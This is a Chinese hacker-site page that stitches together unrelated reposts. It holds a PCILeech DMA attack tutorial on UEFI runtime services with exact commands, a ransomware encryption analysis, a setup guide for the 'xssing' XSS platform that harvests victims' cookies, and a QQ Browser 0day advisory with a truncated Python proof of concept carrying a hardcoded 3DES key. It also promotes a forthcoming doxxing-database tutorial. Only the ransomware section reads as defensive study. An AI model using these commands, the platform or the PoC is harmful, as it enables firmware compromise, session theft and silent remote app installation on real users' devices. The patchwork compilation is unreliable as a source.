中国骇客云教你攻击UEFI运行时服务和Linux【更多关注我们】

具有物理访问权限的攻击者能够在许多具有DMA-直接内存访问的完全修补的计算机上攻击固件。一旦在UEFI/EFI运行时服务中执行代码,就可以使用脚本来控制正在运行的Linux系统。

Linux 4.8内核完全随机化了内核的物理内存地址。如果计算机拥有足够大的内存,内核很有可能随机化到4G以上的地址空间上。这意味着DMA硬件攻击仅能够攻击32位的地址(4GB),如PCILeech,不能直接攻击Linux内核。

由于EFI运行时服务通常位于4GB以下,因此它们在高内存EFI引导系统上提供了一种进入Linux的方法。

演示视频

出处:www.hackerschina.org


请参阅下面的视频,了解攻击是如何进行的。

什么是EFI运行时服务?


PC上的UEFI,mac上的EFI是现代化的BIOS。UEFI是统一的可扩展固件接口的缩写。UEFI负责检测硬件和配置设备,以便于将控制移交给正在加载的操作系统。

UEFI的两个主要组件是引导服务和运行时服务。操作系统上很早就调用ExitBootServices。随后引导服务就不再使用。

即使在操作系统加载和运行后,EFI Runtime Services仍然保持运行。它们提供操作系统可以调用的各种功能。UEFI规范指定了运行时服务应该向操作系统提供的一组固定的函数,如下所示。

http://p0.qhimg.com/t0124739d7a16c1b3a3.png

UEFI运行时服务


最初,运行时服务功能的位置通过运行时服务表传送到操作系统。每个函数的物理地址是64位/8字节长,并以小端存储的形式保存在内存中。然而,到目前为止,所有系统的内存地址都在32位范围内。物理内存地址似乎是完全不变的,即在重新启动之间不发生随机化。

Linux随后将这些地址映射到虚拟地址空间,并用相应的虚拟地址覆盖表中的初始地址。初始表和被Linux修改后的表的如下所示。

http://p7.qhimg.com/t016a9b8701b1e62eed.png

EFI Runtime服务表,原始在左边,Linux修改的为右边。

攻击


如果我们使用DMA用自己的代码覆盖EFI运行时服务表会发生什么?或者,如果我们修改EFI运行时服务表的指针,让它指向之前插入的攻击代码,这又会发生什么?

当操作系统调用EFI运行时服务时,会在目标系统上执行代码-例如当它读取一个EFI变量。在特殊上下文中获得执行代码,其中较低的内存页面在虚拟地址与物理地址之间以1:1映射。在正常的虚拟地址中是可以访问到Linux内核的。在ring0/supervisor模式下执行。

然而,调用Linux内核中的所有函数是不可能的。一些函数会调用失败,因为Linux已经为运行时服务设置了特殊的EFI上下文。针对这种情况,可以在Linux内核中patch 一个“随机”的钩子函数。当“正常”内核线程命中该钩子时,被hook的内核代码将会被执行.

http://p7.qhimg.com/t015cbb5ee1e9e91cde.jpg

目标系统运行Ubuntu 16.10,连接着攻击硬件的PCILeech。右视图为PCILeech

目标


已经在一台具有8GB内存的联想T430和一台具有32G内存的 Intel NUC Skull Canyon做过了测试。T430的ExpressCard插槽用于获得DMA访问,在NUC上,在“BIOS”中设置Thunderbolt模式为“Legacy” – 允许通过Thunderbolt3 / USB-C进行DMA访问。

T430非常简单,只需插入PCILeech设备并调用pcileech.exe kmdload -kmd linux_x64_efi命令。PCILeech将搜索EFI运行时服务表并hook它。然后要求用户执行某些操作来触发已hook过的服务。

NUC是不同的。PCILeech在找到目标之前如果遇到不可读的内存就会失败。幸运的是,运行时服务表的地址是静态的,在重新启动之间不会改变。这适用于所有已测试的系统。找到地址最简单的方法是通过在同一系统或相似系统上以EFI模式用USB引导启动Linux。一旦启动就调用命令cat /sys/firmware/efi/runtime来查看运行时服务表的物理地址。一旦知道地址是0x3b294e18,我们可以调用命令

1
 pcileech.exe kmdload -kmd linux_x64_efi -min 0x3b294000 -max 0x3b295000

http://p6.qhimg.com/t01f152148b6a011419.jpg

显示被攻击的运行时服务表

备注


如果你也想试试,可以查看Github上的PCILeech。

虽然漏洞总是在运作,但是攻击并不是100%稳定的。有时,搜索运行时服务表会失败,有时很难触发对运行时服务表的调用。有时目标系统也会崩溃。

结论 


在Linux 4.8操作系统上,如Ubuntu 16.10。由于可以利用PCILeech,所以不再是完全安全的。 即使你的笔记本电脑可能没有一个ExpressCard插槽,但是如果拧开后盖,它可能会有一个mini-PCIe或M.2插槽。

操作系统将重要的数据放在高于32-bit/4GB的地址上并不能阻止DMA攻击。32位硬件(如PCILeech)会攻击低于4GB的代码和数据。其他恶意硬件也可能攻击多达到64位地址空间。

操作系统应该启用VT-d来保护自身和固件(例如运行时服务)免受恶意设备的攻击。

病毒软件加密与勒索软件加密同出一辙,那么我们该如何针对以上软件加密呢?【中国骇客云分享总结报告】

一、介绍


1.1 勒索软件

勒索软件是计算机恶意软件的一种类型,它可以绑架用户的文件,使用户无法访问到文件,并向用户要求赎金,用于恢复文件。勒索软件的目标通常是用户的个人数据,包括文档、数据库、源代码、图片、视频等等,赎金货币通常是比特币。

勒索软件最早出现于1989年,但是在2012年开始大规模爆发,直到现在,已经有数百万人成为了勒索软件的受害者,这也使得勒索软件更加猖獗。

1.2 本文内容

因为勒索软件已经严重影响了我们的生活,我们决定为非技术人员和技术人员写点东西。我们对我们在勒索软件上的工作进行了总结,并选取了10款有代表性的勒索软件在这里进行讨论。

通过本文,人们可以理解勒索软件工作的基本思路,以及用于加密受害人文件的准确算法。此外,我们真诚的希望这篇文章能帮助那些想进一步分析勒索软件的人。

再有,需要注意的是,我们在这里重点关注的是加密方式和解密方式。其它的内容,如打包、反沙箱、提权、DLL注入等,在这里我们没有涉及。

最后,由于作者水平有限,本文内容如有不妥之处,期待您的意见。

1.3 本文结构

本文共有以下几个部分。第一部分,我们对勒索软件和本文的主要内容进行了介绍。在第二部分,我们主要讨论了每个勒索软件的加密过程。第三部分中,我们主要讨论勒索软件存在的漏洞,利用这些漏洞可以有效的破解勒索软件。然而,还存在大量的勒索软件没有被破解。此外,在最后一部分,我们对勒索软件的发展趋势进行了总结,并提出了一些如何保护自己的建议。

二、样本分析


在这一部分中,我们选取了10款有代表性的勒索软件,下面我们将逐个研究它们用到的加密方法。

需要注意的是,为了使每个人都能理解它们的加密方法,我们使用了更容易理解,但有可能不够科学的描述方法。这意味着我们在本文中描述的内容和勒索软件实际发生的内容可能有一点不同,但是,最核心的思想必须是一样的。此外,我们忽略了所有的HASH算法,因为这会给读者理解勒索软件增加额外的负担。

2.1 Apocalypse–(内嵌密钥+自定义加密算法)

Apocalypse勒索软件在2016年6月被发现,不过,在它被广泛传播前就已经被完全遏制了。尽管如此,我们还是要讨论一下,因为Apocalypse勒索软件可以作为一类勒索软件的代表,它并没有使用标准的加密算法,而是使用了一个专门设计的加密算法。

当受害人感染Apocalypse后,个人文件会被加密,看起来是这样的:

http://p3.qhimg.com/t0124588199c3d702c1.png

如图所示,所有的个人文件会被加密,并添加“.encrypted”后缀名,并为每个加密文件生成一个相对应的付款说明。

与其它后面要讨论的勒索软件不同,Apocalypse勒索软件使用了一个专门设计的加密算法,并且将密钥存储在勒索软件代码中。

http://p2.qhimg.com/t0166946f0c4ad3fbfb.png

如图所示,算法的密钥存储在DL寄存器中,CL寄存器作为一个计数器,当加密过程结束时,密文会覆盖明文,并加添“.encrypted”后缀名。

由于这个自定义加密算法属于对称密钥加密算法,因此,找到它的解密算法并不难,并且我们可以用加密算法的密钥,解密受感染的文件。

更多对称密钥加密算法可以从WIKI中找到:

https://en.wikipedia.org/wiki/Symmetric-key_algorithm

2.2 Cerber–(生成RSA密钥+RSA+RC4)

Cerber勒索软件在2016年3月被释放出来,直到2016年9月份,探测到了第二个版本的Cerber勒索软件。在这一部分中,我们主要讨论原始版本的Cerber勒索软件。将文件加密后会添加“.cerber”后缀名。

下图是受害人被加密的个人数据:

http://p8.qhimg.com/t01ba8e3b616437f74c.png

Cerber采用了是RSA和RC4加密算法。关于RSA和RC4加密算法的详细信息可以从以WIKI中找到:

RSA:https://en.wikipedia.org/wiki/RSA_(cryptosystem)

RC4:https://en.wikipedia.org/wiki/RC4

和Apocalypse勒索软件相比, Cerber更加复杂和缜密。为了能更容易理解,我们主要讨论Cerber加密过程的主要思想,过程有所简化,但更容易让大家理解。

Cerber勒索软件加密过程共有三级。第一步:利用程序中内嵌的RSA公钥,通过RSA算法加密一个随机生成的RSA密钥。第二步:利用随机生成的RSA密钥,通过RSA算法加密一个随机生成的RC4密钥。第三步:利用随机生成的RC4密钥,通过RC4算法加密受害人的个人文件。

对于每一个Cerber样本,都有一个加密的配置文件,该配置文件存储在程序的资源段中。将它解密后,会发现一个内嵌的、并用base64编码过的RSA公钥。

http://p9.qhimg.com/t0156fa70227ae43192.png

对于每一个受害者的文件,都会产生一个唯一的RC4密钥。然后用这个密钥通过RC4算法加密文件。下面是RC4算法:

http://p4.qhimg.com/t0129664a6ff6cb5332.png

此外,需要注意的是,Cerber勒索软件只加密一部分文件,并不会加密全部文件,同时,一些在解密过程中需要的信息也会存储在加密的文件中。

如果你能理解上面的加密过程,那么理解Cerber的解密过程其实并不难,难的是你无法得到完整的RSA私钥,除非Cerber的作者主动把它释放出来。因此,为了解密文件,首先需要从Cerber的C&C服务器中取得那个随机产生的RSA私钥,然后用这个私钥解密随机产生的RC4密钥,最后用这个密钥解密文件。

2.3 CryptoWall–(申请RSA公钥+RSA+AES)

CryptoWall勒索软件发现于2014年,到现在已经出现了4个版本,在这里我们对CryptoWall的第三个版本进行讨论。

当感染了CryptoWall勒索软件后,受害人的文件被加密,如下图:

如上图,将文件加密后会用3个随机的字符作为文件的后缀名,并产生3个勒索信件“HELP_DECRYPT.HTML”、“HELP_DECRYPT.PNG”和“HELP_DECRYPT.TXT”。

CryptoWall勒索软件采用了RSA和AES算法,更多AES的信息可以从这里查到。在程序实现中,使用了微软的CryptoAPI库。

CryptoWall在加密时需要从C&C服务器申请一个RSA公钥,因此,如果CryptoWall连接C&C服务器失败,它就不会加密任何文件。如果成功连接,取回RSA公钥,并产生一个随机的AES密钥,并用RSA算法加密。

http://p4.qhimg.com/t01969118911e34039c.png

然后,用AES密钥和AES算法加密受害人的文件。

http://p7.qhimg.com/t01126eef40e6a4a2c6.png

最后,用密文覆盖明文文件。

CryptoWall的解密过程和加密过程相似,首先需要从C&C服务器取回RSA私钥,然后利用RSA私钥解密随机生成的AES密钥。最后,用AES密钥解密受害人的文件。

2.4 CTB_Locker–(生成ECDH密钥+ECDH+AES)

CTB_Locker是一个在2014年传播的老牌勒索软件,但是它采用了一个复杂的算法替代了RSA算法。受害人的文件被加密后,会随机产生7个字符作为文件的后缀名。

http://p2.qhimg.com/t01ed073f9b30dae476.png

在上图中,前两个文件是该勒索软件产生的勒索信件。

CTB_Locker也非常复杂和缜密。它采用了AES算法和ECDH算法。在ECDH中用的椭圆曲线算法是curve25519算法,更多ECDH算法和curve25519算法的信息可以从WIKI中找到。

ECDH:https://en.wikipedia.org/wiki/Elliptic_curve_Diffie%E2%80%93Hellman

Curve25519:https://en.wikipedia.org/wiki/Curve25519

CTB_Locker勒索软件加密过程共有3层。首先,产生一个随机的ECDH密钥,利用程序中内嵌的ECDH公钥,通过ECDH算法将刚生成的密钥进行编码(在这里我们使用了“编码”这个词,因为ECDH是一个密钥交换协议,不是加密算法)。

http://p4.qhimg.com/t01b019dc6189403b36.png

如上图,“Pblkey”产生一个随机的ECDH密钥。第二步是产生一个AES密钥,用刚才随机生成的ECDH密钥对AES密钥进行编码。

http://p4.qhimg.com/t013a81795c1fa17616.png

第三步用AES密钥和AES算法加密受害人的文件。

http://p6.qhimg.com/t0199303f67420195b7.png

最后,利用生成的密文和解密过程中需要的信息覆盖原始的明文文件。

在对文件解密时,由于我们无法得到和内嵌ECDH公钥相对应的ECDH私钥,因此CTB_Locker的解密过程需要2步,首先从远程C&C服务器取回ECDH私钥,并用私钥解码AES密钥,然后用AES密钥对文件进行解密。

2.5 Jigsaw–(内嵌密钥+AES)

Jigsaw勒索软件在2016年四月被首次释放出来,到2016年9月时,发现了Jigsaw的第二个版本。Jigsaw是一种运行在“.net”框架上的勒索软件,在这里我们重点讨论原始版本的Jigsaw勒索软件。受害人的文件被下密后,会被添加“.fun”后缀名:

http://p9.qhimg.com/t0150bacfa815113cff.png

此外,Jigsaw勒索软件在发布后不久就被安全界打败,然后又产生了一个更新版本。

Jigsaw勒索软件采用了AES算法对文件进行加密,密钥可以在Jigsaw的样本中直接找到。

http://p6.qhimg.com/t01cca08c3331cc8904.png

而且,加密过程也很清晰(难怪它被打败了):

http://p7.qhimg.com/t013baeaa7312033fba.png

加密完成后,添加“.fun”扩展,并结束加密过程。

解密文件时,我们只需要使用相同的密钥和IV值就可以,解密过程也可以在Jigsaw样本中找到。

2.6 Locky–(申请RSA公钥+RSA+AES+Intel的AES指令集)

Locky是另一个勒索软件,需要向C&C服务器申请一个公钥。Locky的第一个版本在2016年二月被发现,如果Locky无法连接到它的C&C服务器,任何文件都不会被加密。

Locky将文件加密后,会添加“.locky”扩展名。

http://p3.qhimg.com/t01a5e9119c43dd5b5c.png

如上图,_HELP_instructions.bmp和_HELP_instructions.html是Locky产生的勒索信件。

Locky在加密过程中采用了RSA算法和AES算法,但是在不同版本的Locky中实现方法有所不同。

在我们要讨论的Locky样本中,RSA算法通过CryptoAPI实现,和CryptoWall的一样。

http://p0.qhimg.com/t01baffcd01f4c60e9b.png

RSA算法用于加密随机产生的AES密钥,并且RSA公钥是从远程C&C服务器中取得的。随机产生的AES密钥用于加密受害人的文件。此外,AES算法在实现过程中使用了Intel的AES指令集,包含“aesenc”指令等等。

http://p2.qhimg.com/t01db71e85d1dfcf1f4.png

加密过程结束后,原始明文文件会被密文和一些需要的信息所覆盖。

解密过程和CryptoWall的很相似,首先需要从C&C服务器取回私钥,然后解密AES密钥,然后用AES密钥和其它存储在加密文件中的额外信息解密受害人的文件。

2.7 Petya–(ECDH+SALSA20)

Petya是一个特殊的软件,发现于2016年3月,和其它勒索软件相比,Petya是完全不同的。一方面,Petya会覆盖主引导记录(MBR)中的引导代码,并会停止windows正常的初始化进程。另一方面,Petya会加密NTFS的MFT文件,并不会加密受害人的个人文件。

MBRNTFS MFT的详细信息可以从WIKI中找到。

被Petya感染以后,计算机会停止引导过程,并显示以下信息:

http://p3.qhimg.com/t01dbdfc1e998e5ae48.png

在上面的图中,所有的勒索信件会以白色字符写在血红色背景上。

Petya的加密过程并不复杂,采用了ECDH算法和SALSA20算法。ECDH中用的椭圆曲线算法是secp192k1算法。更多secp192k1和SALSA20算法的信息可以从WIKI中找到。

首先用ECDH算法对一个随机产生的SALSA20密钥进行编码:

http://p6.qhimg.com/t01f22bf5c6a8177bc0.png

然后,SALSA20算法在一个16-bit-环境中运行。

http://p4.qhimg.com/t01b7522370e776123e.png

http://p1.qhimg.com/t01b6b7072b7fb5bd1f.png

解密时需要先从远程C&C服务器中取回SALSA20算法的密钥,然后对MBR和MFT进行解密。

2.8 TeslaCrypt–(生成ECDH密钥+ECDH+AES)

TeslaCrypt勒索软件在2015年2月被探测到,到现在,已经发展了4个主要的版本,不同版本的TeslaCrypt勒索软件使用了不同的加密文件扩展名,如‘.ecc’、‘.ezz’、‘.zzz’、‘.vvv’和‘.abc’。在这里我们只讨论第4个版本的TeslaCrypt勒索软件,这个版本没有使用扩展名,如下图所示:

http://p9.qhimg.com/t01420cf5a9049a391f.png

不同版本的TeslaCrypt使用了不同的算法,在我们即将要讨论的这个样本中,它使用了ECDH算法和AES算法,ECDH中用的椭圆曲线算法是secp192k1算法。

完整的加密过程和CTB_Locker的很相似。TeslaCrypt的加密过程有3层,首先,会产生一个随机的ECDH密钥,然后利用程序中内嵌的一个ECDH密钥,通过ECDH算法对随机生成的ECDH密钥进行编码,第二步,生成一个AES密钥,利用刚才随机生成的ECDH密钥,通过ECDH算法对AES密钥进行编码。

http://p8.qhimg.com/t01fae624bd7edc5408.png

第三步,利用AES密钥和AES算法对受害人文件进行加密。

http://p3.qhimg.com/t010dc0455702e577b4.png

最后,用密文和一些需要的信息,如编码过的ECDH公钥,覆盖原始明文文件。

解密过程和CTB_Locker的有点相似,我们无法得到ECDH的私钥,因此,解密过程需要2步。首先,从C&C服务器取回ECDH私钥,并用ECDH算法解码AES密钥,然后用AES算法解密受害人的文件。

2.9 TorrentLocker–(RSA+AES)

TorrentLocker是另一个臭名昭著的的勒索软件,发现于2014年,大多数TorrentLocker勒索软件会给加密文件添加“.encrypted”扩展名,并且大多数版本的TorrentLocker勒索软件会伪装成CryptoLocker勒索软件。在这部分,我们重点讨论该勒索软件的一个早期版本,它将文件加密后不会改变文件的大小。

http://p7.qhimg.com/t012ff8f7c92e20a855.png

上图中,“PLEASE_READ.txt”文件是勒索软件的勒索信件。

TorrentLocker勒索软件采用了RSA算法和AES算法,RSA算法用于加密一个随机生成的AES密钥,然后,用这个AES密钥和AES算法加密受害人的文件。实际上,在本文中,我们没有讨论到的大部分勒索软件都采用了RSA-AES的模式。

不同的是,该勒索软件使用yarrow算法作为AES随机密钥的生成算法。

Yarrow算法的随机因素包含了以下函数的返回值:

http://p9.qhimg.com/t0195872a6348d6c691.png

请注意:上图并不是相关函数的完整列表。下一步,受害人的个人文件将会按16字节分组,进行AES加密。

当加密完成后,原始文件会被加密的数据覆盖,没有其它额外的数据。

在对文件进行解密时,AES密钥是用RSA算法加密的,我们无法取回RSA私钥。为了对文件进行解密,我们需要从C&C服务器取回AES密钥,然后用AES密钥对文件进行解密。

2.10 Unlock92–(生成RSA密钥+RSA+RSA)

Unlock92勒索软件是我们讨论的最后一款,在2016年6月首次被发现,目前已经发现了它的第二个版本。Unlock92运行在.net框架下。和第一个版本相比,第二个版本更加复杂一些,因此,在这里我们主要讨论第二个版本。

http://p9.qhimg.com/t0115fd2ac02fdd012a.png

上图中的FBDX.jpg是勒索软件的勒索信件。

Unlock92勒索软件在加密过程中使用了两次RSA算法,每个Unlock92样本中,都存在一个用base64编码的内嵌RSA公钥,这个RSA公钥的作用是加密另一个随机生成的RSA密钥:

http://p4.qhimg.com/t01f809c2fa0dc77b37.png

并使用这个随机生成的RSA密钥对受害人的文件进行加密。

http://p2.qhimg.com/t011d7946cd637cf567.png

为了使加密过程的效率最大化,Unlock92勒索软件只加密文件的前0x300个字节,并不会加密整个文件。

在对文件进行解密时,首先需要从远程C&C服务器上取回随机生成的RSA私钥,然后用这个私钥对文件进行解密。

三、勒索软件的弱点


3.1 加密方法总结

在第二部分,我们描述了10款勒索软件的加密方法,每一个都代表了一种加密过程,在这里我们没有列出来的其它勒索软件有可能就属于其中的一类。

现在,我们对勒索软件中的加密方法总结如下:

1) 自定义的加密方法,如Apocalypse勒索软件。

2) 使用1层加密算法,如Jigsaw勒索软件。

3) 使用2层加密算法,比如RSA-AES模型,采用2层算法例子有CryptoWall,Locky,Petya,Unlock92。

4) 使用3层加密算法,比如ECDH+ECDH+AES模型。例子有Cerber,CTB_Locker,TeslaCrypt。

5) 利用其它正常软件的加密模块。例如,CryptoHost勒索软件加密过程利用了WINRAR的加密模块来对受害人的文件进行加密,Vault勒索软件使用 了GNUPG的加密模块。

正如我们看到的,勒索软件大量使用了标准的加密算法。除了Apocalypse勒索软件使用了自定义的算法,在所有加密算法中,AES算法被使用的最多,其次是RSA算法,部分勒索软件也使用了ECDH算法。由于这些标准加密算法被认为是无法破解的,而部分勒索软件可以被破解的最大原因是因为标准加密算法使用不当。

3.2 解密方法总结

如果所有勒索软件都是精心设计的,换句话说,如果所有的勒索软件都不可能破解,那么解密受害人文件的方法可以总结为以下几点(正常的解密途径):

1) 对于自定义的加密算法,我们需要知道解密密钥和解密算法(标准加密算法的解密算法是已知的)。

2) 对于1层加密算法,我们需要获得解密密钥,并用这个密钥解密受害人的文件。

3) 对于2层加密算法(第二层密钥才是真正的文件加密密钥),我们需要知道第一层密钥、或第二层密钥。如果我们有第一层密钥,我们可以用第一层密钥还原出第二层密钥,再用第二层密钥解密受害人的文件。

4) 对于3层加密算法(第三层密钥才是真正的文件加密密钥),我们需要知道其中任何一层的密钥,如果我们知道第一层密钥,我们就可以还原出第二层密钥,然后用第二层密钥还原出第三层密钥,最后用第三层密钥解密文件。

5) 加密算法使用了其它软件的加密模块时,我们需要知道解密密钥,然后用解密密钥和相应的解密模块解密文件。

从勒索软件作者的角度看,上面的这些解密方法,是解密受害人文件的唯一正确途径。然而,在某些种类的勒索软件中存在或多或少的漏洞,这使得破解它们成为了可能(不用经过上面的正常方法)。

3.3 勒索软件漏洞总结

实际上,少数勒索软件是可以被破解的,原因是它们没有正确使用标准加密算法,根据我们的经验,为什么少数勒索软件可以被破解,总结如下:

1) 由于自定义的解密算法。通常这种自定义的算法和标准加密算法相比,强度都不大,而且存在漏洞。

2) 错误的密钥存储方法。个别勒索软件直接将密钥(加密和解密是一个密钥)内嵌在程序代码中。

3) 密码强度太小。部分勒索软件使用了RSA算法,但是密钥强度不大,导致可以因式分解,从而被破解。

4) 不科学的伪随机数发生器。如果伪随机数发生器不随机,那么产生的密钥就有可能被预测到,如早期的Unlock92勒索软件就存在这样的问题。

5) C&C服务器存在漏洞。部分勒索软件的C&C服务器存在漏洞,这使得从C&C服务器上取回密钥成为了可能。如早期版本的Cerber勒索软件。

6) 其它原因,如CoinVault勒索软件的作者被逮捕,TeslaCrypt勒索软件的作者主动释放出了ECDH私钥,等等。

还有其它我们没有总结到的原因。

3.4 样本总结

下图是我们刚才总结到的所有样本:

http://p1.qhimg.com/t01fb702317dbe24853.png

此外,早期版本的Unlock92已经被破解,因为它的伪随机数发生器存在漏洞,因此,存在漏洞的2层加密算法是有可能被猜解的。

四、趋势和建议


根据我们的经验,勒索软件的数量和类型正在增长,此外,勒索软件的源代码和生成工具已经在暗网市场上出售,这使得产生一个新的勒索软件变得更容易,如果没有有效的应对措施,那将很难评估我们要面对的结局到底有多糟。

好消息是反勒索软件阵营已经变得强大起来了。很多反病毒公司已经发布了他们的反勒索产品,用于帮助用户远离勒索软件。我们相信会有更多的受害者因此受益。

到目前为止,在勒索软件中仍然或多或少的存在标准加密算法使用上的漏洞,但是,随着勒索软件的不断发展,这种问题会越来越少。一旦勒索软件作者能正确的使用标准加密算法时,恢复受害人的数据将会真的很难。因此,我们建议要把防御放在优先位置。一方面,计算机用户要经常备份个人文件,另一方面,反病毒公司需要设计出专门的算法来识别出勒索软件,并根据勒索软件的特征,能主动停止勒索软件的加密进程。此外,不要向勒索软件屈服,即使你已经感染了勒索软件,咨询一些专家可能是一个很好的处理这种情况的方法。

如何在SAE搭建属于自己的黑盒xss安全测试平台【中国骇客云教程】之后推出如何搭建社工裤!欢迎关注我们。

引用 XSSING平台开源中国资料:

xssing 是一个基于 php+mysql的 网站 xss  利用与检测平台,可以对你的产品进行黑盒xss安全测试,代码采用MVC构架,易于阅读和二次开发代码全部开源
项目发布页面  : http://yaseng.me/xssing.html
托管地址 : http://code.google.com/p/xssing/
预览界面
xss测试项目管理:

xss结果管理

在SAE平台搭建XSSING建议选用 xssing 1.2 版本

考虑到国外VPN被封杀 翻墙难度被增加 已经帮大家下载了源码   http://www.spriteking.com/xssing 1.2.zip

包解压后

图片1.png

创建运用

图片2.png

创建代码版本

图片3.png

把sql文件和两个带中文的快捷方式移动到文件夹外再

代码打包(不移动这三个文件到其它地方打包后,在SAE上传代码包的时候极有可能会报错!)

图片4.png

图片5.png

初始化MySQL

图片6.png

新建domain

图片7.png

初始化memcache

图片8.png

图片9.png

进入管理MySQL 用notepad++打开xssing.sql

图片11.png

复制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
-- phpMyAdmin SQL Dump
-- version 3.4.5
-- http://www.phpmyadmin.net
--
-- 主机: localhost
-- 生成日期: 2012 年 10 月 23 日 09:05
-- 服务器版本: 5.5.16
-- PHP 版本: 5.4.0beta2-dev
SET SQL_MODE="NO_AUTO_VALUE_ON_ZERO";
SET time_zone = "+00:00";
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8 */;
--
-- 数据库: `xing`
--
-- --------------------------------------------------------
--
-- 表的结构 `xg_browser`
--
CREATE TABLE IF NOT EXISTS `xg_browser` (
  `bid` int(11) NOT NULL AUTO_INCREMENT,
  `namevarchar(32) CHARACTER SET utf8 COLLATE utf8_bin NOT NULL,
  `ip` varchar(20) CHARACTER SET utf8 COLLATE utf8_bin NOT NULL,
  `os` varchar(20) CHARACTER SET utf8 COLLATE utf8_bin NOT NULL,
  `active` int(1) NOT NULL DEFAULT '1' COMMENT '在线',
  `type` varchar(30) NOT NULL COMMENT '浏览器类型',
  `dateline` int(11) NOT NULL COMMENT '上线时间',
  `pid` int(11) NOT NULL,
  PRIMARY KEY (`bid`)
) ENGINE=InnoDB  DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;
-- --------------------------------------------------------
--
-- 表的结构 `xg_incode`
--
CREATE TABLE IF NOT EXISTS `xg_incode` (
  `iid` int(11) NOT NULL AUTO_INCREMENT,
  `timeint(11) NOT NULL,
  `code` varchar(11) COLLATE utf8_bin NOT NULL,
  PRIMARY KEY (`iid`),
  UNIQUE KEY `code` (`code`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_bin AUTO_INCREMENT=1 ;
-- --------------------------------------------------------
--
-- 表的结构 `xg_info`
--
CREATE TABLE IF NOT EXISTS `xg_info` (
  `iid` int(11) NOT NULL AUTO_INCREMENT,
  `bid` int(11) NOT NULL,
  `title` varchar(60) COLLATE utf8_bin NOT NULL DEFAULT '',
  `url` varchar(60) COLLATE utf8_bin NOT NULL DEFAULT '',
  `cookie` varchar(512) COLLATE utf8_bin NOT NULL DEFAULT '',
  PRIMARY KEY (`iid`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_bin AUTO_INCREMENT=1 ;
-- --------------------------------------------------------
--
-- 表的结构 `xg_project`
--
CREATE TABLE IF NOT EXISTS `xg_project` (
  `pid` int(11) NOT NULL AUTO_INCREMENT,
  `namevarchar(32) COLLATE utf8_bin NOT NULL,
  `timeint(11) NOT NULL,
  `uid` int(11) NOT NULL,
  `url` varchar(6) COLLATE utf8_bin NOT NULL,
  PRIMARY KEY (`pid`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_bin AUTO_INCREMENT=1 ;
-- --------------------------------------------------------
--
-- 表的结构 `xg_user`
--
CREATE TABLE IF NOT EXISTS `xg_user` (
  `uid` int(11) NOT NULL AUTO_INCREMENT,
  `namevarchar(60) COLLATE utf8_bin NOT NULL,
  `pass` varchar(32) COLLATE utf8_bin NOT NULL,
  `keyint(11) NOT NULL,
  `ip` varchar(32) COLLATE utf8_bin NOT NULL,
  PRIMARY KEY (`uid`),
  UNIQUE KEY `name` (`name`)
) ENGINE=InnoDB  DEFAULT CHARSET=utf8 COLLATE=utf8_bin AUTO_INCREMENT=1 ;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;

执行SQL语句

图片10.png

表建好了

图片12.png

接下来进入关键的步骤:

修改配置总入口文件 /uauc/uauc.php 11行0改成1开启sae支持

1
define(‘SAE’,1); // 1

图片13.png

修改/config/mysql.php

图片14.png

启用SAE部署配置:

图片15.png

修改/config/config.php 第四行的值1为0,

1
define(‘DEBUG_MODE’,0)

图片16.png

修改/uauc/define.php 第25行中的网址为SAE平台网址(注意:网址结尾一定要有”/”如:http://xssdebug.sinaapp.com/)

图片17.png

到这里基本就差不多了

图片18.png

但是你发现了一个问题:竟然没有管理员账号、密码!(心中1024只草泥马狂奔而过…)

图片20.png

添加管理员用户方法:

1
http://XXX.sinaapp.com/?m=user&a=get_incode&token=admin&n=1

图片21.png

打开红色部分的URL

图片22.png

出现注册页面

第一个用户:

图片23.png

添加完管理员之后记得修改/apps/index/action/User.Action.php 第113、115行两个参数:token admin  防止因平台默认配置被恶意注册!

图片24.png

修改后

1
2
$token=$_GET['xss'];
if($n && $token=="debug"){

使用

1
http://XXX.sinaapp.com/?m=user&a=get_incode&xss=debug&n=1

生成邀请码
参数=1生成两个邀请码
参数值+1=邀请码数量  参数=0不产生邀请码

QQ浏览器最新0day漏洞【中国骇客云联盟0day漏洞发布网】

安卓版QQ浏览器,QQ热点等应用程序在本地wifi开始时,会监听本地8786端口,且监听本地所有ip地址。当攻击方和被攻击方处于同一局域网环境时,通过该接口,可在局域网内运行QQ浏览器,QQ热点的设备中上传数据、启动应用安装等。当这些应用拥有root权限时,可静默安装移动应用。攻击方和被攻击方处于不同局域网环境时,可通过恶意链接,远程植入,感染与被攻击方所在局域网内所有运行安卓版QQ浏览器,QQ热点等应用的主机。

漏洞详情

发现过程:
通过Janus平台搜索发现,QQ浏览器会在本地开启服务。

1

qqbind

应用在获取到连接时会在handle方法进行处理。

3

通过bind命令,可以通过连接验证。然后利用其他命令,如downloadandinstall进行远程控制。

4

漏洞证明

1、远程获取已安装应用列表。

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/usr/bin/env python2
# -*- coding: utf-8 -*- 
import requests
import base64
from binascii import b2a_hex, a2b_hex
from pyDes import *
payload = ""
x_uuid = "d661d51862c23e397d14cb0eb2bf46f4"
key = "kM7hYp8lE69UjidhlPbD98Pm"
def encode_(s):
    e_scheme = triple_des(key, ECB, "\0\0\0\0\0\0\0\0", pad = None, padmode = PAD_PKCS5)
    r = e_scheme.encrypt(s)
    return base64.b64encode(r)
def decode_(s):
    b = base64.b64decode(s)
